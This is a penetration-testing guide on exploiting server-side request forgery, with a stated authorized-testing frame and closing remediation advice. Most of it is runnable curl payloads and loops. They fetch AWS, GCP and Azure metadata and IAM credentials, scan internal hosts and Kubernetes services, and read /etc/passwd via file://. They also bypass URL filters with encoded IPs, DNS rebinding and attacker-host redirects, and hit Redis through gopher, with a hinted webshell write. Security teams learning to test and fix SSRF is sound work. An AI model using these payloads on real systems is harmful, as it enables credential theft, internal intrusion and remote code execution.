--- name: exploiting-server-side-request-forgery description: Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - ssrf - owasp - cloud-security - web-security - burpsuite version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Exploiting Server-Side Request Forgery ## When to Use - During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports) - When testing cloud-hosted applications for access to instance metadata services - For assessing PDF generators, screenshot services, or any feature that renders external content - When evaluating microservice architectures for internal service access via SSRF - During security assessments of APIs that accept URL parameters for data fetching ## Prerequisites - **Authorization**: Written penetration testing agreement including SSRF testing scope - **Burp Suite Professional**: With Collaborator for out-of-band detection - **interactsh**: Open-source OOB interaction server (`go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest`) - **SSRFmap**: Automated SSRF exploitation framework (`git clone https://github.com/swisskyrepo/SSRFmap.git`) - **curl**: For manual SSRF payload testing - **Knowledge of target infrastructure**: Cloud provider (AWS, GCP, Azure), internal IP ranges ## Workflow ### Step 1: Identify SSRF-Prone Functionality Map all application features that make server-side HTTP requests. ```bash # Common SSRF-prone features: # - URL preview/unfurling (Slack-like link previews) # - Webhook configuration endpoints # - File import from URL (import CSV from URL) # - PDF/screenshot generation from URL # - Image/avatar fetching from URL # - RSS/feed aggregation # - OAuth callback URLs # - API proxy/gateway features # Test a URL parameter with Burp Collaborator # Replace URL values with Collaborator payload curl -s -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \ "https://target.example.com/api/fetch-url" curl -s -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \ "https://target.example.com/api/webhooks" # Test URL in various parameter names for param in url uri link href src dest redirect callback webhook \ image_url avatar_url feed_url import_url proxy_url; do echo "Testing param: $param" curl -s -o /dev/null -w "%{http_code}" \ "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}" done ``` ### Step 2: Access Cloud Instance Metadata Test SSRF payloads targeting cloud provider metadata services. ```bash # AWS EC2 Metadata (IMDSv1) curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \ "https://target.example.com/api/fetch-url" # AWS - Get IAM role credentials curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \ "https://target.example.com/api/fetch-url" # GCP Metadata curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \ "https://target.example.com/api/fetch-url" # Azure Metadata curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \ "https://target.example.com/api/fetch-url" # DigitalOcean Metadata curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/metadata/v1/"}' \ "https://target.example.com/api/fetch-url" ``` ### Step 3: Scan Internal Network via SSRF Use the SSRF vulnerability to discover internal services and ports. ```bash # Internal network scanning - common private ranges for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do echo -n "$ip:$port -> " response=$(curl -s --max-time 3 -X POST \ -H "Content-Type: application/json" \ -d "{\"url\":\"http://$ip:$port/\"}" \ "https://target.example.com/api/fetch-url") echo "$response" | head -c 100 echo done done # Kubernetes internal services for svc in kubernetes.default.svc \ kubernetes-dashboard.kubernetes-dashboard.svc \ kube-dns.kube-system.svc; do curl -s --max-time 3 -X POST \ -H "Content-Type: application/json" \ -d "{\"url\":\"http://$svc/\"}" \ "https://target.example.com/api/fetch-url" done # Access internal admin panels for path in /admin /console /actuator/env /server-status /_cat/indices; do curl -s -X POST \ -H "Content-Type: application/json" \ -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \ "https://target.example.com/api/fetch-url" done ``` ### Step 4: Bypass SSRF Filters and Allowlists When basic payloads are blocked, use bypass techniques. ```bash # IP address encoding bypasses for 127.0.0.1 PAYLOADS=( "http://127.0.0.1/" "http://0177.0.0.1/" # Octal "http://0x7f.0.0.1/" # Hex "http://2130706433/" # Decimal "http://127.1/" # Short form "http://0/" # Zero "http://[::1]/" # IPv6 loopback "http://0.0.0.0/" # All interfaces "http://localtest.me/" # DNS resolves to 127.0.0.1 "http://spoofed.burpcollaborator.net/" # DNS rebinding "http://127.0.0.1.nip.io/" # Wildcard DNS ) for payload in "${PAYLOADS[@]}"; do echo -n "$payload -> " curl -s -o /dev/null -w "%{http_code}" --max-time 3 \ -X POST -H "Content-Type: application/json" \ -d "{\"url\":\"$payload\"}" \ "https://target.example.com/api/fetch-url" echo done # URL parsing bypass # Embed credentials: http://expected.com@evil.com/ # Fragment: http://evil.com#expected.com # URL encoding: http://127.0.0.%31/ # Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1 # Protocol bypass curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"file:///etc/passwd"}' \ "https://target.example.com/api/fetch-url" curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \ "https://target.example.com/api/fetch-url" curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"dict://127.0.0.1:6379/info"}' \ "https://target.example.com/api/fetch-url" ``` ### Step 5: Exploit SSRF for Impact Escalation Chain SSRF with internal services for maximum impact. ```bash # Access Redis via gopher protocol # Craft gopher payload to set a webshell via Redis # gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html # This is for authorized testing only # Access Elasticsearch curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \ "https://target.example.com/api/fetch-url" # Read data from Elasticsearch curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \ "https://target.example.com/api/fetch-url" # Access internal Jenkins curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:8080/script"}' \ "https://target.example.com/api/fetch-url" # AWS: Retrieve temporary credentials from IAM role curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \ "https://target.example.com/api/fetch-url" # Returns: AccessKeyId, SecretAccessKey, Token ``` ### Step 6: Test Blind SSRF and DNS Rebinding For cases where the response is not returned to the attacker. ```bash # Blind SSRF detection using time-based analysis # Compare response times for accessible vs inaccessible ports time curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:22/"}' \ "https://target.example.com/api/fetch-url" time curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:12345/"}' \ "https://target.example.com/api/fetch-url" # DNS rebinding attack # 1. Set up a DNS server that alternates between: # - First query: returns attacker IP (passes allowlist) # - Second query: returns 127.0.0.1 (targets internal service) # 2. Use a rebinding service like rbndr.us curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \ "https://target.example.com/api/fetch-url" # rbndr.us alternates DNS responses between the two encoded IPs ``` ## Key Concepts | Concept | Description | |---------|-------------| | **SSRF** | Server-Side Request Forgery - making the server send requests to unintended destinations | | **Blind SSRF** | SSRF where the response is not returned to the attacker, requiring OOB detection | | **Cloud Metadata** | Instance metadata services (169.254.169.254) exposing credentials and configuration | | **Gopher Protocol** | Protocol allowing raw TCP data transmission, enabling attacks on internal services | | **DNS Rebinding** | DNS attack that switches IP resolution to bypass SSRF hostname allowlists | | **TOCTOU** | Time-of-check to time-of-use race condition in URL validation | | **IMDSv2** | AWS metadata service v2 requiring session tokens, mitigating basic SSRF | | **Open Redirect Chain** | Using an open redirect to bypass URL allowlists in SSRF filters | ## Tools & Systems | Tool | Purpose | |------|---------| | **Burp Suite Professional** | Request modification and Collaborator for blind SSRF detection | | **SSRFmap** | Automated SSRF exploitation framework with protocol support | | **interactsh** | Out-of-band interaction detection for blind SSRF | | **Gopherus** | Generates gopher payloads for exploiting internal services | | **rbndr.us** | DNS rebinding service for SSRF filter bypass | | **singularity** | DNS rebinding attack framework for automated exploitation | ## Common Scenarios ### Scenario 1: Webhook URL SSRF to AWS Credentials A webhook configuration endpoint allows specifying a callback URL. Pointing it to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services. ### Scenario 2: PDF Generator SSRF A feature that generates PDFs from URLs makes server-side requests. Providing `http://127.0.0.1:8080/admin` as the URL generates a PDF containing the internal admin panel content. ### Scenario 3: Image URL SSRF with Protocol Bypass An avatar URL field is filtered for HTTP/HTTPS but accepts `file://` protocol. Using `file:///etc/passwd` as the avatar URL causes the server to read local files and include content in the response. ### Scenario 4: Blind SSRF to Internal Redis A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution. ## Output Format ``` ## SSRF Vulnerability Finding **Vulnerability**: Server-Side Request Forgery (Full SSRF) **Severity**: Critical (CVSS 9.1) **Location**: POST /api/webhooks - `callback_url` parameter **OWASP Category**: A10:2021 - Server-Side Request Forgery ### Reproduction Steps 1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/ 2. Server makes request to AWS metadata endpoint 3. Response contains AWS instance metadata including IAM role name 4. Follow up with IAM credentials endpoint to retrieve temporary access keys ### Confirmed Access | Target | Protocol | Response | |--------|----------|----------| | 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved | | 127.0.0.1:6379 (Redis) | Gopher | Commands executed | | 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved | | 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible | ### Impact - AWS IAM temporary credentials exfiltrated (S3 read/write access) - Internal Redis server accessible (potential RCE) - Internal Elasticsearch data exposed (user records) - Full internal network scanning capability ### Recommendation 1. Implement strict URL allowlisting (only allow known trusted domains) 2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) 3. Upgrade to AWS IMDSv2 (requires session token header) 4. Disable unused URL protocols (gopher, file, dict, ftp) 5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls ```